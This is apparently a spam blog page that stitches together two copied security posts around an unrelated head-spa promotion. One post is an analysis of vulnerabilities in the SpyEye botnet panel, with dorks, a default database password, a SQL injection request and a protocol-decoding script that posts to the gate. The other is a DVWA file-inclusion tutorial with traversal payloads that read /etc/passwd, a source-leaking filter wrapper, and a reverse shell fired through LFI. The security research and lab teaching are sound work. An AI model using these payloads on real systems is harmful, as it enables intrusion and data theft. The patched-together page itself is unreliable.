四点金

四点金

Why ethical hacking?

Legality of Ehical Hacking

Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.

Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.

More articles

四点金

This is the second blog post in the "Attacking financial malware botnet panels" series. After playing with Zeus, my attention turned to another old (and dead) botnet, SpyEye. From an ITSEC perspective, SpyEye shares a lot of vulnerabilities with Zeus.

The following report is based on SpyEye 1.3.45, which is old, and if we are lucky, the whole SpyEye branch will be dead soon.

Google dorks to find SpyEye C&C server panel related stuff:

if the img directory gets indexed, it is rather easy, search for e.g. inurl:b-ftpbackconnect.png
if the install directory gets indexed, again, easy, search for e.g. inurl:spylogo.png
also, if you find a login screen, check the css file (style.css), and you see #frm_viewlogs, #frm_stat, #frm_botsmon_country, #frm_botstat, #frm_gtaskloader and stuff like that, you can be sure you found it
otherwise, it is the best not to Google for it, but get a SpyEye sample and analyze it

And this is how the control panel login looks like, nothing sophisticated:

The best part is that you don't have to guess the admin's username ;)

This is how an average control panel looks like:

Hack the Planet! :)

Boring vulns found (warning, an almost exact copy from the Zeus blog post)

Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
No password policy - admins can set up really weak passwords
No anti brute-force - you can try to guess the admin's password. There is no default username, as there is no username handling!
Password autocomplete enabled - boring
Missing HttpOnly flag on session cookie - interesting when combining with XSS
No CSRF protection - e.g. you can upload new exe, bin files, turn plugins on/off :-( boring. Also the file extension check can be bypassed, but the files are stored in the database, so no PHP shell this time. If you check the following code, you can see that even the file extension and type is checked, and an error is shown, but the upload process continues. And even if the error would stop the upload process, the check can be fooled by setting an invalid $uptype. Well done ...

        if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))         {                 $outstr = "<br>";                 set_time_limit(0);                 $filename = str_replace(" ","_",$_FILES['file']['name']);                 $ext = substr($filename, strrpos($filename, '.')+1);                 if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";                 if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";                  switch( $uptype )                 {                 case 'body': $ext = 'b'; break;                 case 'config': $ext = 'c'; break;                 case 'exe': $ext = 'e'; break;                 default: $ext = 'e';                 }                 $_SESSION['file_ext'] = $ext;                 if( isset($_POST['bots']) && trim($_POST['bots']) !== '')                 {                         $bots = explode(' ', trim($_POST['bots']));                         //writelog("debug.log", trim($_POST['bots']));                         $filename .= "_".(LastFileId()+1);                 }                 if( FileExist($filename) ) $filename .= LastFileId();                 $tmpName  = $_FILES['file']['tmp_name'];                 $fileSize = $_FILES['file']['size'];                 $fileType = $_FILES['file']['type'];                 ## reading all file for calculating hash                 $fp = fopen($tmpName, 'r');

Clear text password storage - the MySQL passwords are stored in php files, in clear text. Also, the login password to the form panel is stored in clear text.
MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5. Just look at the pure simplicity of the login check, great work!

$query = "SELECT * FROM users_t WHERE uPswd='".md5($pswd)."'";

ClickJacking - really boring stuff

SQL injection

SpyEye has a fancy history of SQL injections. See details here, here, here, video here and video here.

It is important to highlight the fact that most of the vulnerable functions are reachable without any authentication, because these PHP files lack user authentication at the beginning of the files.

But if a C&C server owner gets pwned through this vuln, it is not a good idea to complain to the developer, because after careful reading of the install guide, one can see:

"For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application."

And there are plenty of reasons not to install the formgrabber admin panel on any internet reachable server. But this fact leads to another possible vulnerability. The user for this control panel is allowed to remotely login to the MySQL database, and the install guide has pretty good passwords to be reused. I mean it looks pretty secure, there is no reason not to use that.

CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';

Next time you find a SpyEye panel, and you can connect to the MySQL database, it is worth a shot to try this password.

Unfortunately the default permissions for this user is not enough to write files (select into outfile):

Access denied for user 'frmcpviewer' (using password: YES)

I also made a little experiment with this SQL injection vulnerability. I did set up a live SpyEye botnet panel, created the malware install binaries (droppers), and sent the droppers to the AV companies. And after more and more sandboxes connected to my box, someone started to exploit the SQL injection vulnerability on my server!

63.217.168.90 - - [16/Jun/2014:04:43:00 -0500] "GET /form/frm_boa-grabber_sub.php?bot_guid=&lm=3&dt=%20where%201=2%20union%20select%20@a:=1%20from%20rep1%20where%20@a%20is%20null%20union%20select%20@a:=%20@a%20%2b1%20union%20select%20concat(id,char(1,3,3,7),bot_guid,char(1,3,3,7),process_name,char(1,3,3,7),hooked_func,char(1,3,3,7),url,char(1,3,3,7),func_data)%20from%20rep2_20140610%20where%20@a=3%23 HTTP/1.1" 200 508 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"

Although the query did not return any meaningful data to the attacker (only data collected from sandboxes), it raises some legal questions.

Which company/organization has the right to attack my server?

police (having a warrant)
military (if we are at war)
spy agencies (always/never, choose your favorite answer)
CERT organisations?

But, does an AV company or security research company has the legal right to attack my server? I don't think so... The most problematic part is when they hack a server (without authorization), and sell the stolen information in the name of "intelligence service". What is it, the wild wild west?

The SQLi clearly targets the content of the stolen login credentials. If this is not an AV company, but an attacker, how did they got the SpyEye dropper? If this is an AV company, why are they stealing the stolen credentials? Will they notify the internet banking owners about the stolen credentials for free? Or will they do this for money?

And don't get me wrong, I don't want to protect the criminals, but this is clearly a grey area in the law. From an ethical point of view, I agree with hacking the criminal's servers. As you can see, the whole post is about disclosing vulns in these botnet panels. But from a legal point of view, this is something tricky ... I'm really interested in the opinion of others, so comments are warmly welcome.

On a side note, I was interested how did the "attackers" found the SpyEye form directory? Easy, they brute-forced it, with a wordlist having ~43.000 entries.

(Useless) Cross site scripting

Although parts of the SpyEye panel are vulnerable to XSS, it is unlikely that you will to find these components on the server, as these codes are part of the install process, and the installer fails to run if a valid install is found. And in this case, you also need the DB password to trigger the vuln...

Session handling

This is a fun part. The logout button invalidates the session only on the server side, but not on the client side. But if you take into consideration that the login process never regenerates the session cookies (a.k.a session fixation), you can see that no matter how many times the admin logs into the application, the session cookie remains the same (until the admin does not close the browser). So if you find a session cookie which was valid in the past, but is not working at the moment, it is possible that this cookie will be valid in the future ...

Binary server

Some parts of the SpyEye server involve running a binary server component on the server, to collect the form data. It would be interesting to fuzz this component (called sec) for vulns.

Log files revealed

If the form panel mentioned in the SQLi part is installed on the server, it is worth visiting the <form_dir>/logs/error.log file, you might see the path of the webroot folder, IP addresses of the admins, etc.

Reading the code

Sometimes reading the code you can find code snippets, which is hard to understand with a clear mind:

$content = fread($fp, filesize($tmpName)); if ( $uptype === 'config' )     $md5 = GetCRC32($content); else $md5 = md5($content); .... <script> if (navigator.userAgent.indexOf("Mozilla/4.0") != -1) {         alert("Your browser is not support yet. Please, use another (FireFox, Opera, Safari)");         document.getElementById("div_main").innerHTML = "<font class=\'error\'>ChAnGE YOuR BRoWsEr! Dont use BUGGED Microsoft products!</font>"; } </script>

Decrypting SpyEye communication

It turned out that the communication between the malware and C&C server is not very sophisticated (Zeus does a better job at it, because the RC4 key stream is generated from the botnet password).

function DeCode($content) {         $res = '';         for($i = 0; $i < strlen($content); $i++)         {                 $num = ord($content[$i]);                 if( $num != 219) $res .= chr($num^219);         }         return $res; }

Fixed XOR key, again, well done ...

This means that it is easy to create a script, which can communicate with the SpyEye server. For example this can be used to fill in the SpyEye database with crap data.

import binascii import requests import httplib, urllib  def xor_str(a, b):     i = 0     xorred = ''     for i in range(len(a)):         xorred += chr(ord(a[i])^b)     return xorred              b64_data= "vK6yv+bt9er17O3r6vqPnoiPjZb2i5j6muvo6+rjmJ/9rb6p5urr6O/j/bK+5uP16/Xs7evq9ers7urv/bSo5u316vXs7evq/a6v5pq/trK1/bi4qbjm453j6uPv7Or9tr/u5um+uuvpve3p7eq/4+vsveLi7Lnqvrjr6ujs7rjt7rns/au3vOa5sre3srW8s7q2tr6p4Lm3tLiw4LmuvKm+q7Spr+C4uPu8qbq5ub6p4Li4vKm6ubm+qeC4qb6/sq+8qbq54LiuqK+0tri0tbW+uK+0qeC/v7So4L+1qLqrsuC+trqyt7ypurm5vqngvb24vqmvvKm6ubm+qeC9/aivuq/mtLW3srW+" payload =xor_str (binascii.a2b_base64(b64_data), 219)  print ("the decrypted payload is: " + payload) params = (binascii.b2a_base64(xor_str(payload,219))) payload = {'data': params} r = requests.post("http://spyeye.localhost/spyeye/_cg/gate.php", data=payload)

Morale of the story?

Criminals produce the same shitty code as the rest of the world, and thanks to this, some of the malware operators get caught and are behind bars now. And the law is behind the reality, as always.

In this article we are going to go through File Inclusion Vulnerability. Wikipedia defines File Inclusion Vulnerability as: "A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application."
There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:

Lets start by doing an LFI attack on the web application.
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.

http://localhost:9000/vulnerabilities/fi/?page=include.php

Since it is loading different pages we can guess that it is loading local pages from the server and executing them. Lets try to get the famous /etc/passwd file found on every linux, to do that we have to find a way to access it via our LFI. We will start with this:

../etc/passwd

entering the above payload in the page parameter of the URL:

http://localhost:9000/vulnerabilities/fi/?page=../etc/passwd

we get nothing back which means the page does not exist. Lets try to understand what we are trying to accomplish. We are asking for a file named passwd in a directory named etc which is one directory up from our current working directory. The etc directory lies at the root (/) of a linux file system. We tried to guess that we are in a directory (say www) which also lies at the root of the file system, that's why we tried to go up by one directory and then move to the etc directory which contains the passwd file. Our next guess will be that maybe we are two directories deeper, so we modify our payload to be like this:

../../etc/passwd

we get nothing back. We continue to modify our payload thinking we are one more directory deeper.

../../../etc/passwd

no luck again, lets try one more:

../../../../etc/passwd

nop nothing, we keep on going one directory deeper until we get seven directories deep and our payload becomes:

../../../../../../../etc/passwd

which returns the contents of passwd file as seen below:

This just means that we are currently working in a directory which is seven levels deep inside the root (/) directory. It also proves that our LFI is a success. We can also use php filters to get more and more information from the server. For example if we want to get the source code of the web server we can use php wrapper filter for that like this:

php://filter/convert.base64-encode/resource=index.php

We will get a base64 encoded string. Lets copy that base64 encoded string in a file and save it as index.php.b64 (name can be anything) and then decode it like this:

cat index.php.b64 | base64 -d > index.php

We will now be able to read the web application's source code. But you maybe thinking why didn't we simply try to get index.php file without using php filter. The reason is because if we try to get a php file with LFI, the php file will be executed by the php interpreter rather than displayed as a text file. As a workaround we first encode it as base64 which the interpreter won't interpret since it is not php and thus will display the text. Next we will try to get a shell. Before php version 5.2, allow_url_include setting was enabled by default however after version 5.2 it was disabled by default. Since the version of php on which our dvwa app is running on is 5.2+ we cannot use the older methods like input wrapper or RFI to get shell on dvwa unless we change the default settings (which I won't). We will use the file upload functionality to get shell. We will upload a reverse shell using the file upload functionality and then access that uploaded reverse shell via LFI.
Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.

nc -lvnp 9999

Then using our LFI we will execute the uploaded reverse shell by accessing it using this url:

http://localhost:9000/vulnerabilities/fi/?page=../../hackable/uploads/revshell.php

Voila! We have a shell.

To learn more about File Upload Vulnerability and the reverse shell we have used here read Learning Web Pentesting With DVWA Part 5: Using File Upload to Get Shell. Attackers usually chain multiple vulnerabilities to get as much access as they can. This is a simple example of how multiple vulnerabilities (Unrestricted File Upload + LFI) can be used to scale up attacks. If you are interested in learning more about php wrappers then LFI CheetSheet is a good read and if you want to perform these attacks on the dvwa, then you'll have to enable allow_url_include setting by logging in to the dvwa server. That's it for today have fun.
Leave your questions and queries in the comments below.

References:

FILE INCLUSION VULNERABILITIES: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
php://: https://www.php.net/manual/en/wrappers.php.php
LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
File inclusion vulnerability: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
PHP 5.2.0 Release Announcement: https://www.php.net/releases/5_2_0.php

四点金

Odo Head Spa offered by Odo Beauty Care Limited

網頁

2024年1月25日星期四

LEGALITY OF ETHICAL HACKING

Attacking Financial Malware Botnet Panels - SpyEye

Boring vulns found (warning, an almost exact copy from the Zeus blog post)

SQL injection

(Useless) Cross site scripting

Session handling

Binary server

Log files revealed

Reading the code

Decrypting SpyEye communication

Morale of the story?

Read more

Learning Web Pentesting With DVWA Part 6: File Inclusion

References:

More info

Premium Blogs by Frankie CS Wong

Odo Head Spa offered by Odo Beauty Care Limited

我的網誌清單

網誌封存

我的網誌清單